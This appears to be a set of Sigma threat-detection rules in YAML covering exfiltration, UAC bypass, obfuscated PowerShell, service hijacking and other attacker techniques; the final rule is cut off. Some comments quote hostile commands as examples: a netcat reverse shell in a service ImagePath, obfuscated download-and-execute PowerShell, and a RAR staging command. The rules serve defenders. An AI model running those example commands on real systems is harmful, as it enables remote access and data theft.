Sigma rules: 2i

title: Data Exfiltration to Unsanctioned Apps
id: 2b669496-d215-47d8-bd9a-f4a45bf07cda
status: test
description: Detects when a Microsoft Cloud App Security reported when a user or IP address uses an app that is not sanctioned to perform an activity that resembles an attempt to exfiltrate information from your organization.
references:
    - https://learn.microsoft.com/en-us/defender-cloud-apps/anomaly-detection-policy
    - https://learn.microsoft.com/en-us/defender-cloud-apps/policy-template-reference
author: Austin Songer @austinsonger
date: 2021-08-23
modified: 2022-10-09
tags:
    - attack.exfiltration
    - attack.t1537
logsource:
    service: threat_management
    product: m365
detection:
    selection:
        eventSource: SecurityComplianceCenter
        eventName: 'Data exfiltration to unsanctioned apps'
        status: success
    condition: selection
falsepositives:
    - Unknown
level: medium

title: DoT (DNS over TLS) activation (PowerShell)
description: Detects scenarios where an attacker attempts to enable DNS over TLS in order to evade detection for command and control purposes.
references:
- https://techcommunity.microsoft.com/t5/networking-blog/dns-over-tls-available-to-windows-insiders/ba-p/3565859
- http://woshub.com/enable-dns-over-https-windows/
tags:
- attack.defense_evasion
- attack.command_and_control
- attack.t1071.004 
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  category:
    - ps_module
    - ps_classic_script
    - ps_script
detection: # "HKLM:\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters"
  selection_powershell_native:
    EventID: 800
    EventData|contains|all:
      - '-ItemProperty' # Can be New-* or Set-*
      - '\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters'
      - 'EnableAutoDoh'

  selection_powershell_modern:
    EventID: 4103
    Payload|contains|all:
      - '-ItemProperty' # Can be New-* or Set-*
      - '\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters'
      - 'EnableAutoDoh'

  selection_powershell_block:
    EventID: 4104
    ScriptBlockText|contains|all:
      - '-ItemProperty' # Can be New-* or Set-*
      - '\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters'
      - 'EnableAutoDoh'

  condition: 1 of selection*
falsepositives:
- Legitimate DoT activation by administrators 
level: medium

title: HackTool - Empire PowerShell UAC Bypass
id: 3268b746-88d8-4cd3-bffc-30077d02c787
status: stable
description: Detects some Empire PowerShell UAC bypass methods
references:
    - https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-EventVwrBypass.ps1#L64
    - https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/privesc/Invoke-FodHelperBypass.ps1#L64
author: Ecco
date: 2019-08-30
modified: 2023-02-21
tags:
    - attack.privilege-escalation
    - attack.t1548.002
    - car.2019-04-001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        CommandLine|contains:
            - ' -NoP -NonI -w Hidden -c $x=$((gp HKCU:Software\Microsoft\Windows Update).Update)'
            - ' -NoP -NonI -c $x=$((gp HKCU:Software\Microsoft\Windows Update).Update);'
    condition: selection
falsepositives:
    - Unknown
level: critical

title: HackTool - Koh Default Named Pipe
id: 0adc67e0-a68f-4ffd-9c43-28905aad5d6a
status: test
description: Detects creation of default named pipes used by the Koh tool
references:
    - https://github.com/GhostPack/Koh/blob/0283d9f3f91cf74732ad377821986cfcb088e20a/Clients/BOF/KohClient.c#L12
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-07-08
modified: 2023-08-07
tags:
    - attack.privilege-escalation
    - attack.credential-access
    - attack.stealth
    - attack.t1528
    - attack.t1134.001
logsource:
    product: windows
    category: pipe_created
    definition: 'Note that you have to configure logging for Named Pipe Events in Sysmon config (Event ID 17 and Event ID 18). The basic configuration is in popular sysmon configuration (https://github.com/SwiftOnSecurity/sysmon-config), but it is worth verifying. You can also use other repo, e.g. https://github.com/Neo23x0/sysmon-config, https://github.com/olafhartong/sysmon-modular. How to test detection? You can check powershell script from this site https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575'
detection:
    selection:
        PipeName|contains:
            - '\imposecost'
            - '\imposingcost'
    condition: selection
falsepositives:
    - Unlikely
level: critical

title: Headless Process Launched Via Conhost.EXE
id: 00ca75ab-d5ce-43be-b86c-55ff39c6abfc
related:
    - id: 056c7317-9a09-4bd4-9067-d051312752ea
      type: derived
status: test
description: |
    Detects the launch of a child process via "conhost.exe" with the "--headless" flag.
    The "--headless" flag hides the windows from the user upon execution.
references:
    - https://www.huntress.com/blog/fake-browser-updates-lead-to-boinc-volunteer-computing-software
author: Nasreddine Bencherchali (Nextron Systems)
date: 2024-07-23
tags:
    - attack.execution
    - attack.t1059.001
    - attack.t1059.003
    - detection.threat-hunting
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\conhost.exe'
        ParentCommandLine|contains: '--headless'
    condition: selection
falsepositives:
    - Unknown
level: medium

title: Invoke-Obfuscation STDIN+ Launcher - System
id: 72862bf2-0eb1-11eb-adc1-0242ac120002
status: test
description: Detects Obfuscated use of stdin to execute PowerShell
references:
    - https://github.com/SigmaHQ/sigma/issues/1009  # (Task 25)
author: Jonathan Cheong, oscd.community
date: 2020-10-15
modified: 2022-11-29
tags:
    - attack.stealth
    - attack.t1027
    - attack.execution
    - attack.t1059.001
logsource:
    product: windows
    service: system
detection:
    selection_main:
        Provider_Name: 'Service Control Manager'
        EventID: 7045
        # ImagePath|re: 'cmd.{0,5}(?:\/c|\/r).+powershell.+(?:\$\{?input\}?|noexit).+\"'
        # Example 1: c:\windows\sYstEm32\CmD.eXE /C"echO\Invoke-Expression (New-Object Net.WebClient).DownloadString | POwersHELl -NoEXiT -"
        # Example 2: c:\WiNDOws\sysTEm32\cmd.EXe /C " ECHo Invoke-Expression (New-Object Net.WebClient).DownloadString | POwersHELl -nol ${EXEcUtIONCONTeXT}.INvOkEComMANd.InvOKEScRIPt( $InpUt )"
        ImagePath|contains|all:
            - 'cmd'
            - 'powershell'
        ImagePath|contains:
            - '/c'
            - '/r'
    selection_other:
        - ImagePath|contains: 'noexit'
        - ImagePath|contains|all:
              - 'input'
              - '$'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

title: Linux Setgid Capability Set on a Binary via Setcap Utility
id: 3a716279-c18c-4488-83be-f9ececbfb9fc
status: experimental
description: |
    Detects the use of the 'setcap' utility to set the 'setgid' capability (cap_setgid) on a binary file.
    This capability allows a non privileged process to make arbitrary manipulations of group IDs (GIDs), including setting its current GID to a value that would otherwise be restricted (i.e. GID 0, the root group).
    This behavior can be used by adversaries to backdoor a binary in order to escalate privileges again in the future if needed.
references:
    - https://man7.org/linux/man-pages/man8/setcap.8.html
    - https://dfir.ch/posts/linux_capabilities/
    - https://juggernaut-sec.com/capabilities/#cap_setgid
author: Luc Génaux
date: 2026-01-24
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1548
    - attack.t1554
logsource:
    product: linux
    category: process_creation
detection:
    selection:
        Image|endswith: '/setcap'
        CommandLine|contains: 'cap_setgid'
    condition: selection
falsepositives:
    - Unknown
level: low

title: Local User Creation
id: 66b6be3d-55d0-4f47-9855-d69df21740ea
status: test
description: |
    Detects local user creation on Windows servers, which shouldn't happen in an Active Directory environment. Apply this Sigma Use Case on your Windows server logs and not on your DC logs.
references:
    - https://patrick-bareiss.com/detecting-local-user-creation-in-ad-with-sigma/
author: Patrick Bareiss
date: 2019-04-18
modified: 2021-01-17
tags:
    - attack.persistence
    - attack.t1136.001
logsource:
    product: windows
    service: security
detection:
    selection:
        EventID: 4720
    condition: selection
falsepositives:
    - Domain Controller Logs
    - Local accounts managed by privileged account management tools
level: low

title: LSA PPL Protection Setting Modification via CommandLine
id: 8c0eca51-0f88-4db2-9183-fdfb10c703f9
status: test
description: |
    Detects modification of LSA PPL protection settings via CommandLine.
    It may indicate an attempt to disable protection and enable credential dumping tools to access LSASS process memory.
references:
    - https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/
    - https://github.com/shoober420/windows11-scripts/blob/38d83331738cd713ccb42f2c4557d17a27aefd98/Windows11Tweaks.bat#L1825
author: Florian Roth (Nextron Systems), Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2022-03-22
modified: 2026-03-13
tags:
    - attack.defense-impairment
    - attack.t1689
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith:
              - '\reg.exe'
              - '\powershell.exe'
              - '\pwsh.exe'
        - OriginalFileName:
              - 'reg.exe'
              - 'powershell.exe'
              - 'pwsh.dll'
    selection_cli_action:
        CommandLine|contains|all:
            - 'ControlSet'
            - '\Control\Lsa'
        CommandLine|contains:
            - 'Set-ItemProperty'
            - 'New-ItemProperty'
            - ' add '
    selection_key:
        CommandLine|contains:
            - 'IsPplAutoEnabled'
            - 'RunAsPPL'
            - 'RunAsPPLBoot'
    condition: all of selection_*
falsepositives:
    - Unlikely
level: medium

title: MSSQL Destructive Query
id: 00321fee-ca72-4cce-b011-5415af3b9960
status: experimental
description: |
    Detects the invocation of MS SQL transactions that are destructive towards table or database data, such as "DROP TABLE" or "DROP DATABASE".
references:
    - https://learn.microsoft.com/en-us/sql/t-sql/statements/drop-table-transact-sql?view=sql-server-ver16
    - https://learn.microsoft.com/en-us/sql/t-sql/statements/drop-database-transact-sql?view=sql-server-ver16
    - https://learn.microsoft.com/en-us/sql/t-sql/statements/truncate-table-transact-sql?view=sql-server-ver16
author: Daniel Degasperi '@d4ns4n_'
date: 2025-06-04
tags:
    - attack.exfiltration
    - attack.impact
    - attack.t1485
logsource:
    product: windows
    service: application
    definition: 'Requirements: MSSQL audit policy must be enabled in order to receive this event (event id 33205)'
detection:
    selection:
        Provider_Name: 'MSSQLSERVER$AUDIT'
        EventID: 33205
        Data|contains:
            - 'statement:TRUNCATE TABLE'
            - 'statement:DROP TABLE'
            - 'statement:DROP DATABASE'
    condition: selection
falsepositives:
    - Legitimate transaction from a sysadmin.
level: medium

title: New Custom Shim Database Created
id: ee63c85c-6d51-4d12-ad09-04e25877a947
status: test
description: |
    Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims.
    The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-2---new-shim-database-files-created-in-the-default-shim-database-directory
    - https://www.mandiant.com/resources/blog/fin7-shim-databases-persistence
    - https://liberty-shell.com/sec/2020/02/25/shim-persistence/
    - https://andreafortuna.org/2018/11/12/process-injection-and-persistence-using-application-shimming/
author: frack113, Nasreddine Bencherchali (Nextron Systems)
date: 2021-12-29
modified: 2023-12-06
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1547.009
logsource:
    product: windows
    category: file_event
detection:
    selection:
        TargetFilename|contains:
            - ':\Windows\apppatch\Custom\'
            - ':\Windows\apppatch\CustomSDB\'
    condition: selection
falsepositives:
    - Legitimate custom SHIM installations will also trigger this rule
level: medium
regression_tests_path: regression_data/rules/windows/file/file_event/file_event_win_creation_new_shim_database/info.yml

title: New Root Certificate Installed Via CertMgr.EXE
id: ff992eac-6449-4c60-8c1d-91c9722a1d48
related:
    - id: 42821614-9264-4761-acfc-5772c3286f76
      type: derived
    - id: 46591fae-7a4c-46ea-aec3-dff5e6d785dc
      type: obsolete
status: test
description: |
    Detects execution of "certmgr" with the "add" flag in order to install a new certificate on the system.
    Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md
    - https://securelist.com/to-crypt-or-to-mine-that-is-the-question/86307/
author: oscd.community, @redcanary, Zach Stanford @svch0st
date: 2023-03-05
tags:
    - attack.defense-impairment
    - attack.t1553.004
logsource:
    category: process_creation
    product: windows
detection:
    # Example: CertMgr.exe /add CertificateFileName.cer /s /r localMachine root /all
    selection_img:
        - Image|endswith: '\CertMgr.exe'
        - OriginalFileName: 'CERTMGT.EXE'
    selection_cli:
        CommandLine|contains|all:
            - '/add'
            - 'root'
    condition: all of selection_*
falsepositives:
    - Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP
level: medium

title: New Service Creation Using Sc.EXE
id: 85ff530b-261d-48c6-a441-facaa2e81e48
related:
    - id: c02e96b7-c63a-4c47-bd83-4a9f74afcfb2 # Using PowerShell
      type: similar
status: test
description: Detects the creation of a new service using the "sc.exe" utility.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md
author: Timur Zinniatullin, Daniil Yugoslavskiy, oscd.community
date: 2023-02-20
modified: 2025-09-01
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.t1543.003
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\sc.exe'
        CommandLine|contains|all:
            - 'create'
            - 'binPath'
    filter_optional_dropbox:
        ParentImage|startswith:
            - 'C:\Program Files (x86)\Dropbox\Client\'
            - 'C:\Program Files\Dropbox\Client\'
        ParentImage|endswith: '\Dropbox.exe'
    condition: selection and not 1 of filter_optional_*
falsepositives:
    - Legitimate administrator or user creates a service for legitimate reasons.
    - Software installation
level: low

title: OpenCanary - Telnet Login Attempt
id: 512cff7a-683a-43ad-afe0-dd398e872f36
status: test
description: Detects instances where a Telnet service on an OpenCanary node has had a login attempt.
references:
    - https://opencanary.readthedocs.io/en/latest/starting/configuration.html#services-configuration
    - https://github.com/thinkst/opencanary/blob/a0896adfcaf0328cfd5829fe10d2878c7445138e/opencanary/logger.py#L52
author: Security Onion Solutions
date: 2024-03-08
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.initial-access
    - attack.command-and-control
    - attack.stealth
    - attack.t1133
    - attack.t1078
logsource:
    category: application
    product: opencanary
detection:
    selection:
        logtype: 6001
    condition: selection
falsepositives:
    - Unlikely
level: high

title: PAExec Service Installation
id: de7ce410-b3fb-4e8a-b38c-3b999e2c3420
status: test
description: Detects PAExec service installation
references:
    - https://www.poweradmin.com/paexec/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-10-26
tags:
    - attack.execution
    - attack.t1569.002
logsource:
    product: windows
    service: system
detection:
    selection_eid:
        Provider_Name: 'Service Control Manager'
        EventID: 7045
    selection_image:
        - ServiceName|startswith: 'PAExec-'
        - ImagePath|startswith: 'C:\WINDOWS\PAExec-'
    condition: all of selection_*
falsepositives:
    - Unknown
level: medium

title: Password Provided In Command Line Of Net.EXE
id: d4498716-1d52-438f-8084-4a603157d131
status: test
description: Detects a when net.exe is called with a password in the command line
references:
    - Internal Research
author: Tim Shelton (HAWK.IO)
date: 2021-12-09
modified: 2023-02-21
tags:
    - attack.initial-access
    - attack.persistence
    - attack.privilege-escalation
    - attack.lateral-movement
    - attack.stealth
    - attack.t1021.002
    - attack.t1078
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith:
              - '\net.exe'
              - '\net1.exe'
        - OriginalFileName:
              - 'net.exe'
              - 'net1.exe'
    selection_cli:
        CommandLine|contains|all:
            - ' use '
            - ':*\\'
            - '/USER:* *'
    filter_main_empty:
        CommandLine|endswith: ' '
    condition: all of selection_* and not 1 of filter_main_*
falsepositives:
    - Unknown
level: medium

title: Potential SNAKE Malware Installation Binary Indicator
id: d91ff53f-fd0c-419d-a6b8-ae038d5c3733
status: test
description: Detects a specific binary name seen used by SNAKE malware during its installation as described by CISA in their report
references:
    - https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-05-04
tags:
    - attack.execution
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith:
            - '\jpsetup.exe'
            - '\jpinst.exe'
    filter_main_cli_name:
        CommandLine:
            - 'jpinst.exe'
            - 'jpinst'
            - 'jpsetup.exe'
            - 'jpsetup'
    filter_main_cli_empty:
        CommandLine: ''
    filter_main_cli_null:
        CommandLine: null
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unlikely
level: high

title: Program Executions in Suspicious Folders
id: a39d7fa7-3fbd-4dc2-97e1-d87f546b1bbc
status: test
description: Detects program executions in suspicious non-program folders related to malware or hacking activity
references:
    - Internal Research
author: Florian Roth (Nextron Systems)
date: 2018-01-23
modified: 2021-11-27
tags:
    - attack.t1587
    - attack.t1584
    - attack.resource-development
logsource:
    product: linux
    service: auditd
detection:
    selection:
        type: 'SYSCALL'
        exe|startswith:
            # Temporary folder
            - '/tmp/'
            # Web server
            - '/var/www/'              # Standard
            - '/home/*/public_html/'   # Per-user
            - '/usr/local/apache2/'    # Classical Apache
            - '/usr/local/httpd/'      # Old SuSE Linux 6.* Apache
            - '/var/apache/'           # Solaris Apache
            - '/srv/www/'              # SuSE Linux 9.*
            - '/home/httpd/html/'      # Redhat 6 or older Apache
            - '/srv/http/'             # ArchLinux standard
            - '/usr/share/nginx/html/' # ArchLinux nginx
            # Data dirs of typically exploited services (incomplete list)
            - '/var/lib/pgsql/data/'
            - '/usr/local/mysql/data/'
            - '/var/lib/mysql/'
            - '/var/vsftpd/'
            - '/etc/bind/'
            - '/var/named/'
    condition: selection
falsepositives:
    - Admin activity (especially in /tmp folders)
    - Crazy web applications
level: medium

title: Schtasks From Suspicious Folders
id: 8a8379b8-780b-4dbf-b1e9-31c8d112fefb
status: test
description: Detects scheduled task creations that have suspicious action command and folder combinations
references:
    - https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical
author: Florian Roth (Nextron Systems)
date: 2022-04-15
modified: 2022-11-18
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.execution
    - attack.t1053.005
logsource:
    product: windows
    category: process_creation
detection:
    selection_img:
        - Image|endswith: '\schtasks.exe'
        - OriginalFileName: 'schtasks.exe'
    selection_create:
        CommandLine|contains: ' /create '
    selection_command:
        CommandLine|contains:
            - 'powershell'
            - 'pwsh'
            - 'cmd /c '
            - 'cmd /k '
            - 'cmd /r '
            - 'cmd.exe /c '
            - 'cmd.exe /k '
            - 'cmd.exe /r '
    selection_all_folders:
        CommandLine|contains:
            - 'C:\ProgramData\'
            - '%ProgramData%'
    condition: all of selection_*
falsepositives:
    - Unknown
level: high

title: Scripting/CommandLine Process Spawned Regsvr32
id: ab37a6ec-6068-432b-a64e-2c7bf95b1d22
related:
    - id: 8e2b24c9-4add-46a0-b4bb-0057b4e6187d
      type: obsolete
status: test
description: Detects various command line and scripting engines/processes such as "PowerShell", "Wscript", "Cmd", etc. spawning a "regsvr32" instance.
references:
    - https://web.archive.org/web/20171001085340/https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html
    - https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/
author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)
date: 2023-05-26
tags:
    - attack.stealth
    - attack.t1218.010
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith:
            - '\cmd.exe'
            - '\cscript.exe'
            - '\mshta.exe'
            - '\powershell_ise.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\wscript.exe'
        Image|endswith: '\regsvr32.exe'
    filter_main_rpcproxy:
        ParentImage: C:\Windows\System32\cmd.exe
        CommandLine|endswith: ' /s C:\Windows\System32\RpcProxy\RpcProxy.dll'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Legitimate ".bat", ".hta", ".ps1" or ".vbs" scripts leverage legitimately often. Apply additional filter and exclusions as necessary
    - Some legitimate Windows services
level: medium # Can be reduced to low if you experience a ton of FP

title: Security Event Logging Disabled via MiniNt Registry Key - Registry Set
id: 8839e550-52d7-4958-9f2f-e13c1e736838
related:
    - id: 1a4bd6af-99ac-4466-b5b2-7b72b4a05462 # Security Event Logging Disabled Via MiniNt Registry Key
      type: similar
status: experimental
description: |
    Detects the addition of the 'MiniNt' key to the registry. Upon a reboot, Windows Event Log service will stop writing events.
    Windows Event Log is a service that collects and stores event logs from the operating system and applications. It is an important component of Windows security and auditing.
    Adversary may want to disable this service to disable logging of security events which could be used to detect their activities.
references:
    - https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/
author: Swachchhanda Shrawan Poudel (Nextron Systems)
date: 2025-04-09
tags:
    - attack.persistence
    - attack.defense-impairment
    - attack.t1685.001
    - attack.t1112
    - car.2022-03-001
logsource:
    category: registry_set
    product: windows
detection:
    selection:
        TargetObject: 'HKLM\System\CurrentControlSet\Control\MiniNt\(Default)'
    condition: selection
falsepositives:
    - Highly Unlikely
level: high

title: Security Software Discovery - Linux
id: c9d8b7fd-78e4-44fe-88f6-599135d46d60
status: test
description: Detects usage of system utilities (only grep and egrep for now) to discover security software discovery
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md
author: Daniil Yugoslavskiy, oscd.community
date: 2020-10-19
modified: 2022-11-27
tags:
    - attack.discovery
    - attack.t1518.001
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith:
            # You can add more grep variations such as fgrep, rgrep...etc
            - '/grep'
            - '/egrep'
        CommandLine|contains:
            - 'nessusd'        # nessus vulnerability scanner
            - 'td-agent'       # fluentd log shipper
            - 'packetbeat'     # elastic network logger/shipper
            - 'filebeat'       # elastic log file shipper
            - 'auditbeat'      # elastic auditing agent/log shipper
            - 'osqueryd'       # facebook osquery
            - 'cbagentd'       # carbon black
            - 'falcond'        # crowdstrike falcon
    condition: selection
falsepositives:
    - Legitimate activities
level: low

title: Service abuse with malicious ImagePath (Reg via PowerShell)
description: Detects scenarios where an attacker modify the original service executable path with a malicious one.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0003-Persistence/T1543.003-Create%20or%20Modify%20System%20Process-Windows%20Service
- https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc742019(v=ws.11)
- https://pentestlab.blog/2020/01/22/persistence-modify-existing-service/
- https://medium.com/r3d-buck3t/abuse-service-registry-acls-windows-privesc-f88079140509
tags:
- attack.persistence
- attack.t1543.003
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  category:
    - ps_module
    - ps_classic_script
    - ps_script
detection: # Set-ItemProperty -path HKLM:\System\CurrentControlSet\services\xboxgip -name ImagePath -value "C:\nc.exe -e powershell.exe 10.10.14.26 4447"
  selection_powershell_native:
    EventID: 800
    EventData|contains|all:
      - '-ItemProperty' # Can be New-* or Set-*
      - '\SYSTEM\CurrentControlSet\Services\'
      - ImagePath

  selection_powershell_modern:
    EventID: 4103
    Payload|contains|all:
      - '-ItemProperty' # Can be New-* or Set-*
      - '\SYSTEM\CurrentControlSet\Services\'
      - ImagePath

  selection_powershell_block:
    EventID: 4104
    ScriptBlockText|contains|all:
      - '-ItemProperty' # Can be New-* or Set-*
      - '\SYSTEM\CurrentControlSet\Services\'
      - ImagePath

  condition: 1 of selection*
falsepositives:
- administrator reconfiguring service
level: high

title: Sitecore Pre-Auth RCE CVE-2021-42237
id: 20c6ed1c-f7f0-4ea3-aa65-4f198e6acb0f
status: test
description: Detects exploitation attempts of Sitecore Experience Platform Pre-Auth RCE CVE-2021-42237 found in Report.ashx
references:
    - https://blog.assetnote.io/2021/11/02/sitecore-rce/
    - https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776
author: Florian Roth (Nextron Systems)
date: 2021-11-17
modified: 2023-01-02
tags:
    - attack.initial-access
    - attack.t1190
    - cve.2021-42237
    - detection.emerging-threats
logsource:
    category: webserver
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/sitecore/shell/ClientBin/Reporting/Report.ashx'
        sc-status: 200
    condition: selection
falsepositives:
    - Vulnerability Scanning
level: high

title: Steganography Unzip Hidden Information From Picture File
id: edd595d7-7895-4fa7-acb3-85a18a8772ca
status: test
description: Detects extracting of zip file from image file
references:
    - https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/
author: 'Pawel Mazur'
date: 2021-09-09
modified: 2022-10-09
tags:
    - attack.stealth
    - attack.t1027.003
logsource:
    product: linux
    service: auditd
detection:
    commands:
        type: EXECVE
        a0: unzip
    a1:
        a1|endswith:
            - '.jpg'
            - '.png'
    condition: commands and a1
falsepositives:
    - Unknown
level: low

title: Suspicious Double Extension File Execution
id: 1cdd9a09-06c9-4769-99ff-626e2b3991b8
related:
    - id: 5e6a80c8-2d45-4633-9ef4-fa2671a39c5c # ParentImage/ParentCommandLine
      type: similar
status: stable
description: Detects suspicious use of an .exe extension after a non-executable file extension like .pdf.exe, a set of spaces or underlines to cloak the executable file in spear phishing campaigns
references:
    - https://blu3-team.blogspot.com/2019/06/misleading-extensions-xlsexe-docexe.html
    - https://twitter.com/blackorbird/status/1140519090961825792
    - https://cloud.google.com/blog/topics/threat-intelligence/cybercriminals-weaponize-fake-ai-websites
author: Florian Roth (Nextron Systems), @blu3_team (idea), Nasreddine Bencherchali (Nextron Systems)
date: 2019-06-26
modified: 2025-05-30
tags:
    - attack.initial-access
    - attack.t1566.001
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith:
            - '      .exe'
            - '______.exe'
            - '.doc.exe'
            - '.doc.js'
            - '.docx.exe'
            - '.docx.js'
            - '.gif.exe'
            - '.jpeg.exe'
            - '.jpg.exe'
            - '.mkv.exe'
            - '.mov.exe'
            - '.mp3.exe'
            - '.mp4.exe'
            - '.pdf.exe'
            - '.pdf.js'
            - '.png.exe'
            - '.ppt.exe'
            - '.ppt.js'
            - '.pptx.exe'
            - '.pptx.js'
            - '.rtf.exe'
            - '.rtf.js'
            - '.svg.exe'
            - '.txt.exe'
            - '.txt.js'
            - '.xls.exe'
            - '.xls.js'
            - '.xlsx.exe'
            - '.xlsx.js'
            - '⠀⠀⠀⠀⠀⠀.exe' # Unicode Space Character: Braille Pattern Blank (Unicode: U+2800)
        CommandLine|contains:
            - '      .exe'
            - '______.exe'
            - '.doc.exe'
            - '.doc.js'
            - '.docx.exe'
            - '.docx.js'
            - '.gif.exe'
            - '.jpeg.exe'
            - '.jpg.exe'
            - '.mkv.exe'
            - '.mov.exe'
            - '.mp3.exe'
            - '.mp4.exe'
            - '.pdf.exe'
            - '.pdf.js'
            - '.png.exe'
            - '.ppt.exe'
            - '.ppt.js'
            - '.pptx.exe'
            - '.pptx.js'
            - '.rtf.exe'
            - '.rtf.js'
            - '.svg.exe'
            - '.txt.exe'
            - '.txt.js'
            - '.xls.exe'
            - '.xls.js'
            - '.xlsx.exe'
            - '.xlsx.js'
            - '⠀⠀⠀⠀⠀⠀.exe' # Unicode Space Character: Braille Pattern Blank (Unicode: U+2800)
    condition: selection
falsepositives:
    - Unknown
level: high
regression_tests_path: regression_data/rules/windows/process_creation/proc_creation_win_susp_double_extension/info.yml

title: Suspicious Greedy Compression Using Rar.EXE
id: afe52666-401e-4a02-b4ff-5d128990b8cb
status: test
description: Detects RAR usage that creates an archive from a suspicious folder, either a system folder or one of the folders often used by attackers for staging purposes
references:
    - https://decoded.avast.io/martinchlumecky/png-steganography
author: X__Junior (Nextron Systems), Florian Roth (Nextron Systems)
date: 2022-12-15
modified: 2024-01-02
tags:
    - attack.execution
    - attack.t1059
logsource:
    product: windows
    category: process_creation
detection:
    # Example : rar.exe a -m5 -r -y -ta20210204000000 -hp1qazxcde32ws -v2560k Asia1Dpt-PC-c.rar c:\\*.doc c:\\*.docx c:\\*.xls c:\\*.xlsx c:\\*.pdf c:\\*.ppt c:\\*.pptx c:\\*.jpg c:\\*.txt >nul
    selection_opt_1:
        - Image|endswith: '\rar.exe'
        - Description: 'Command line RAR'
    selection_opt_2:
        CommandLine|contains:
            - '.exe a '
            - ' a -m'
    selection_cli_flags:
        CommandLine|contains|all:
            - ' -hp' # password
            - ' -r ' # recursive
    selection_cli_folders:
        CommandLine|contains:
            - ' ?:\\\*.'
            - ' ?:\\\\\*.'
            - ' ?:\$Recycle.bin\'
            - ' ?:\PerfLogs\'
            - ' ?:\Temp'
            - ' ?:\Users\Public\'
            - ' ?:\Windows\'
            - ' %public%'
    condition: 1 of selection_opt_* and all of selection_cli_*
falsepositives:
    - Unknown
level: high

title: Suspicious IIS URL GlobalRules Rewrite Via AppCmd
id: 7c8af9b2-dcae-41a2-a9db-b28c288b5f08
status: test
description: Detects usage of "appcmd" to create new global URL rewrite rules. This behaviour has been observed being used by threat actors to add new rules so they can access their webshells.
references:
    - https://twitter.com/malmoeb/status/1616702107242971144
    - https://learn.microsoft.com/en-us/answers/questions/739120/how-to-add-re-write-global-rule-with-action-type-r
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-01-22
tags:
    - attack.stealth
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\appcmd.exe'
        - OriginalFileName: 'appcmd.exe'
    selection_cli:
        CommandLine|contains|all:
            - 'set'
            - 'config'
            - 'section:system.webServer/rewrite/globalRules'
            - 'commit:'
    condition: all of selection_*
falsepositives:
    - Legitimate usage of appcmd to add new URL rewrite rules
level: medium

title: Suspicious PowerShell Get Current User
id: 4096a49c-7de4-4da0-a230-c66ccd56ea5a
status: test
description: Detects the use of PowerShell to identify the current logged user.
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1033/T1033.md#atomic-test-4---user-discovery-with-env-vars-powershell-script
